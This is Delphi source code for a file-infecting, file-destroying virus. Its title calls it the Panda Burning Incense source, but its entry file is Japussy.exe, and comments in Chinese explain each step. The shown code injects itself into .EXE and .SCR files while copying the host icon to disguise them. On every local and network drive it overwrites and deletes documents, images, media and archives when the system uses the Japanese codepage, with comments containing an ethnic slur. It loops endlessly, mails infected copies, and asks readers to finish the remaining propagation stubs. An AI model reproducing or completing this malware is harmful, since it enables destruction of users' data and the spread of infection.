网上流传的 delphi版 熊猫烧香源码.txt

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    try 
    //得到被感染文件的主图标(744字节)，存入流 
    aIcon.ReleaseHandle; 
    aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); 
    aIcon.SaveToStream(IcoStream); 
    finally 
    aIcon.Free; 
    end; 
    SrcStream := TFileStream.Create(FileName, fmOpenRead); 
    //头文件 
    HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); 
    try 
    //写入病毒体主图标之前的数据 
    CopyStream(HdrStream, 0, DstStream, 0, IconOffset); 
    //写入目前程序的主图标 
    CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); 
    //写入病毒体主图标到病毒体尾部之间的数据 
    CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); 
    //写入宿主程序 
    CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); 
    //写入已感染的标记 
    DstStream.Seek(0, 2); 
    iID := $44444444; 
    DstStream.Write(iID, 4); 
    finally 
    HdrStream.Free; 
    end; 
  finally 
    SrcStream.Free; 
    IcoStream.Free; 
    DstStream.SaveToFile(FileName); //替换宿主文件 
    DstStream.Free; 
  end; 
except; 
end; 
end; 
{ 将目标文件写入垃圾码后删除 } 
procedure SmashFile(FileName: string); 
var 
FileHandle: Integer; 
i, Size, Mass, Max, Len: Integer; 
begin 
try 
  SetFileAttributes(PChar(FileName), 0); //去掉只读属性 
  FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 
  try 
    Size := GetFileSize(FileHandle, nil); //文件大小 
    i := 0; 
    Randomize; 
    Max := Random(15); //写入垃圾码的随机次数 
    if Max < 5 then 
    Max := 5; 
    Mass := Size div Max; //每个间隔块的大小 
    Len := Length(Catchword); 
    while i < Max do 
    begin 
    FileSeek(FileHandle, i * Mass, 0); //定位 
    //写入垃圾码，将文件彻底破坏掉 
    FileWrite(FileHandle, Catchword, Len); 
    Inc(i); 
    end; 
  finally 
    FileClose(FileHandle); //关闭文件 
  end; 
  DeleteFile(PChar(FileName)); //删除之 
except 
end; 
end; 
{ 获得可写的驱动器列表 } 
function GetDrives: string; 
var 
DiskType: Word; 
D: Char; 
Str: string; 
i: Integer; 
begin 
for i := 0 to 25 do //遍历26个字母 
begin 
  D := Chr(i + 65); 
  Str := D + ':\'; 
  DiskType := GetDriveType(PChar(Str)); 
  //得到本地磁盘和网络盘 
  if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then 
    Result := Result + D; 
end; 
end; 
{ 遍历目录，感染和摧毁文件 } 
procedure LoopFiles(Path, Mask: string); 
var 
i, Count: Integer; 
Fn, Ext: string; 
SubDir: TStrings; 
SearchRec: TSearchRec; 
Msg: TMsg; 
function IsValidDir(SearchRec: TSearchRec): Integer; 
begin 
  if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and 
    (SearchRec.Name <> '..') then 
    Result := 0 //不是目录 
  else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and 
    (SearchRec.Name <> '..') then 
    Result := 1 //不是根目录 
  else Result := 2; //是根目录 
end; 
begin 
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then 
begin 
  repeat 
    PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑 
    if IsValidDir(SearchRec) = 0 then 
    begin 
    Fn := Path + SearchRec.Name; 
    Ext := UpperCase(ExtractFileExt(Fn)); 
    if (Ext = '.EXE') or (Ext = '.SCR') then 
    begin 
      InfectOneFile(Fn); //感染可执行文件      
    end 
    else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then 
    begin 
      //感染HTML和ASP文件，将Base64编码后的病毒写入 
      //感染浏览此网页的所有用户 
      //哪位大兄弟愿意完成之？ 
    end 
    else if Ext = '.WAB' then //Outlook地址簿文件 
    begin 
      //获取Outlook邮件地址 
    end 
    else if Ext = '.ADC' then //Foxmail地址自动完成文件 
    begin 
      //获取Foxmail邮件地址 
    end 
    else if Ext = 'IND' then //Foxmail地址簿文件 
    begin 
      //获取Foxmail邮件地址 
    end 
    else  
    begin 
      if IsJap then //是倭文操作系统 
      begin 
        if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or 
        (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or 
        (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or 
        (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or 
        (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or 
        (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then 
          SmashFile(Fn); //摧毁文件 
      end; 
    end; 
    end; 
    //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑 
    Sleep(200); 
  until (FindNext(SearchRec) <> 0); 
end; 
FindClose(SearchRec); 
SubDir := TStringList.Create; 
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then 
begin 
  repeat 
    if IsValidDir(SearchRec) = 1 then 
    SubDir.Add(SearchRec.Name); 
  until (FindNext(SearchRec) <> 0); 
  end; 
FindClose(SearchRec); 
Count := SubDir.Count - 1; 
for i := 0 to Count do 
  LoopFiles(Path + SubDir.Strings + '\', Mask); 
FreeAndNil(SubDir); 
end; 
{ 遍历磁盘上所有的文件 } 
procedure InfectFiles; 
var 
DriverList: string; 
i, Len: Integer; 
begin 
if GetACP = 932 then //日文操作系统 
  IsJap := True; //去死吧！ 
DriverList := GetDrives; //得到可写的磁盘列表 
Len := Length(DriverList); 
while True do //死循环 
begin 
  for i := Len downto 1 do //遍历每个磁盘驱动器 
    LoopFiles(DriverList + ':\', '*.*'); //感染之 
  SendMail; //发带毒邮件 
  Sleep(1000 * 60 * 5); //睡眠5分钟 
end; 
end; 
{ 主程序开始 } 
begin 
if IsWin9x then //是Win9x 
  RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 
else //WinNT 
begin 
  //远程线程映射到Explorer进程 
  //哪位兄台愿意完成之？ 
end; 
//如果是原始病毒体自己 
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then 
  InfectFiles //感染和发邮件 
else //已寄生于宿主程序上了，开始工作 
begin 
  TmpFile := ParamStr(0); //创建临时文件 
  Delete(TmpFile, Length(TmpFile) - 4, 4); 
  TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格 
  ExtractFile(TmpFile); //分离之 
  FillStartupInfo(Si, SW_SHOWDEFAULT); 
  CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 
    0, nil, '.', Si, Pi); //创建新进程运行之 
  InfectFiles; //感染和发邮件 
end; 
end.